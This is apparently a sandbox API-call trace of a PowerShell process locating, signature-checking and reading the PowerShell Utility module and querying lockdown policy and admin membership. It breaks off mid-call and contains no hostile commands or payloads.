[0183.106] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5a8d570, nSize=0xf2 | out: lpBuffer="") returned 0xc5 [0183.111] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0183.112] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0183.112] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x51, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x50 [0183.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8d454) returned 1 [0183.142] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x5a8d718 | out: lpFileInformation=0x5a8d718*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0183.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8d450) returned 1 [0183.243] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0183.251] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0183.267] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0183.268] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x57 [0183.268] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x57, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x56 [0183.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8d454) returned 1 [0183.269] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x5a8d718 | out: lpFileInformation=0x5a8d718*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0183.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8d450) returned 1 [0183.274] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0183.278] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0183.280] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0183.280] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x59, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x58 [0183.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8d454) returned 1 [0183.280] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x5a8d718 | out: lpFileInformation=0x5a8d718*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0183.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8d450) returned 1 [0183.330] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0184.105] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0184.105] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0184.106] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0184.106] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0184.106] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0184.106] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0185.916] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1")) returned 0x20 [0185.916] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0185.916] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0185.917] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a8d478, Length=0x20, ResultLength=0x5a8d4e8 | out: SystemInformation=0x5a8d478, ResultLength=0x5a8d4e8*=0x0) returned 0xc0000003 [0185.917] GetSystemInfo (in: lpSystemInfo=0x5a8d4f4 | out: lpSystemInfo=0x5a8d4f4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0185.917] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8d484 | out: phkResult=0x5a8d484*=0x428) returned 0x0 [0185.917] RegQueryValueExW (in: hKey=0x428, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a8d4a0, lpData=0x0, lpcbData=0x5a8d49c*=0x0 | out: lpType=0x5a8d4a0*=0x0, lpData=0x0, lpcbData=0x5a8d49c*=0x0) returned 0x2 [0185.917] RegCloseKey (hKey=0x428) returned 0x0 [0185.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0185.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0185.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8d228) returned 1 [0185.918] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x267e89c | out: lpFileInformation=0x267e89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0185.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8d224) returned 1 [0185.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0185.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0185.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8d1e8) returned 1 [0185.919] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5a8d4ac | out: lpFileInformation=0x5a8d4ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0185.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8d1e4) returned 1 [0185.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0185.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0185.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0185.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0185.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8d17c) returned 1 [0185.919] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5a8d440 | out: lpFileInformation=0x5a8d440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0185.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8d178) returned 1 [0185.919] CoTaskMemAlloc (cb=0x10) returned 0x5b233d8 [0185.919] CoTaskMemAlloc (cb=0x10) returned 0x5b233f0 [0185.919] CoTaskMemAlloc (cb=0xe4) returned 0x577108 [0185.919] CoTaskMemAlloc (cb=0x30) returned 0x57f678 [0185.919] WinVerifyTrust () returned 0x800b0100 [0186.054] CoTaskMemFree (pv=0x5b233d8) [0186.054] CoTaskMemFree (pv=0x57f678) [0186.054] CryptCATHandleFromStore () returned 0x54b1b0 [0186.054] WTHelperGetProvSignerFromChain () returned 0x0 [0186.054] CoTaskMemAlloc (cb=0x10) returned 0x5b233d8 [0186.054] CoTaskMemAlloc (cb=0x30) returned 0x57f678 [0186.054] WinVerifyTrust () returned 0x0 [0186.054] CoTaskMemFree (pv=0x57f678) [0186.054] CoTaskMemFree (pv=0x5b233d8) [0186.054] CoTaskMemFree (pv=0x577108) [0186.054] CoTaskMemFree (pv=0x5b233f0) [0186.054] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0186.055] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0186.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8d434) returned 1 [0186.055] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x428 [0186.055] GetFileType (hFile=0x428) returned 0x1 [0186.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8d430) returned 1 [0186.055] GetFileType (hFile=0x428) returned 0x1 [0186.055] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d470*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d470*=0) returned 0x0 [0186.056] ReadFile (in: hFile=0x428, lpBuffer=0x26800b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d49c, lpOverlapped=0x0 | out: lpBuffer=0x26800b0*, lpNumberOfBytesRead=0x5a8d49c*=0x1000, lpOverlapped=0x0) returned 1 [0186.056] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d470*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d470*=0) returned 0x1000 [0186.056] ReadFile (in: hFile=0x428, lpBuffer=0x26800b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d49c, lpOverlapped=0x0 | out: lpBuffer=0x26800b0*, lpNumberOfBytesRead=0x5a8d49c*=0x1000, lpOverlapped=0x0) returned 1 [0186.056] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d470*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d470*=0) returned 0x2000 [0186.057] ReadFile (in: hFile=0x428, lpBuffer=0x26800b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d49c, lpOverlapped=0x0 | out: lpBuffer=0x26800b0*, lpNumberOfBytesRead=0x5a8d49c*=0x1000, lpOverlapped=0x0) returned 1 [0186.057] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d470*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d470*=0) returned 0x3000 [0186.057] ReadFile (in: hFile=0x428, lpBuffer=0x26800b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d49c, lpOverlapped=0x0 | out: lpBuffer=0x26800b0*, lpNumberOfBytesRead=0x5a8d49c*=0x1000, lpOverlapped=0x0) returned 1 [0186.057] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d470*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d470*=0) returned 0x4000 [0186.058] ReadFile (in: hFile=0x428, lpBuffer=0x26800b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d49c, lpOverlapped=0x0 | out: lpBuffer=0x26800b0*, lpNumberOfBytesRead=0x5a8d49c*=0x1000, lpOverlapped=0x0) returned 1 [0186.058] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d470*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d470*=0) returned 0x5000 [0186.058] ReadFile (in: hFile=0x428, lpBuffer=0x26800b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d49c, lpOverlapped=0x0 | out: lpBuffer=0x26800b0*, lpNumberOfBytesRead=0x5a8d49c*=0x1000, lpOverlapped=0x0) returned 1 [0186.058] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d470*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d470*=0) returned 0x6000 [0186.058] ReadFile (in: hFile=0x428, lpBuffer=0x26800b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d49c, lpOverlapped=0x0 | out: lpBuffer=0x26800b0*, lpNumberOfBytesRead=0x5a8d49c*=0x1000, lpOverlapped=0x0) returned 1 [0186.059] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d470*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d470*=0) returned 0x7000 [0186.059] ReadFile (in: hFile=0x428, lpBuffer=0x26800b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d49c, lpOverlapped=0x0 | out: lpBuffer=0x26800b0*, lpNumberOfBytesRead=0x5a8d49c*=0x778, lpOverlapped=0x0) returned 1 [0186.059] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d470*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d470*=0) returned 0x7778 [0186.059] ReadFile (in: hFile=0x428, lpBuffer=0x267f7bc, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x5a8d49c, lpOverlapped=0x0 | out: lpBuffer=0x267f7bc*, lpNumberOfBytesRead=0x5a8d49c*=0x0, lpOverlapped=0x0) returned 1 [0186.059] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d470*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d470*=0) returned 0x7778 [0186.059] ReadFile (in: hFile=0x428, lpBuffer=0x26800b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d49c, lpOverlapped=0x0 | out: lpBuffer=0x26800b0*, lpNumberOfBytesRead=0x5a8d49c*=0x0, lpOverlapped=0x0) returned 1 [0186.060] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a8d404, Length=0x20, ResultLength=0x5a8d474 | out: SystemInformation=0x5a8d404, ResultLength=0x5a8d474*=0x0) returned 0xc0000003 [0186.060] GetSystemInfo (in: lpSystemInfo=0x5a8d480 | out: lpSystemInfo=0x5a8d480*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0186.060] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8d410 | out: phkResult=0x5a8d410*=0x42c) returned 0x0 [0186.060] RegQueryValueExW (in: hKey=0x42c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a8d42c, lpData=0x0, lpcbData=0x5a8d428*=0x0 | out: lpType=0x5a8d42c*=0x0, lpData=0x0, lpcbData=0x5a8d428*=0x0) returned 0x2 [0186.060] RegCloseKey (hKey=0x42c) returned 0x0 [0186.060] CloseHandle (hObject=0x428) returned 1 [0187.673] CoCreateGuid (in: pguid=0x5a8d544 | out: pguid=0x5a8d544*(Data1=0xa60e24eb, Data2=0xb588, Data3=0x4339, Data4=([0]=0x88, [1]=0x98, [2]=0x50, [3]=0xa4, [4]=0x27, [5]=0x68, [6]=0xa1, [7]=0x7e))) returned 0x0 [0187.673] GetCurrentProcess () returned 0xffffffff [0187.673] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5a8d510 | out: TokenHandle=0x5a8d510*=0x424) returned 1 [0187.674] GetTokenInformation (in: TokenHandle=0x424, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x5a8d510 | out: TokenInformation=0x0, ReturnLength=0x5a8d510) returned 0 [0187.674] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x5bf550 [0187.674] GetTokenInformation (in: TokenHandle=0x424, TokenInformationClass=0x8, TokenInformation=0x5bf550, TokenInformationLength=0x4, ReturnLength=0x5a8d510 | out: TokenInformation=0x5bf550, ReturnLength=0x5a8d510) returned 1 [0187.674] LocalFree (hMem=0x5bf550) returned 0x0 [0187.675] DuplicateTokenEx (in: hExistingToken=0x424, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x5a8d518 | out: phNewToken=0x5a8d518*=0x428) returned 1 [0187.675] CheckTokenMembership (in: TokenHandle=0x428, SidToCheck=0x25880d8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x5a8d528 | out: IsMember=0x5a8d528) returned 1 [0187.675] CloseHandle (hObject=0x428) returned 1 [0187.680] QueryPerformanceCounter (in: lpPerformanceCount=0x5a8d2b4 | out: lpPerformanceCount=0x5a8d2b4*=1261870254357) returned 1 [0187.680] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0187.680] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x5bd230, lpFilePart=0x0 | out: 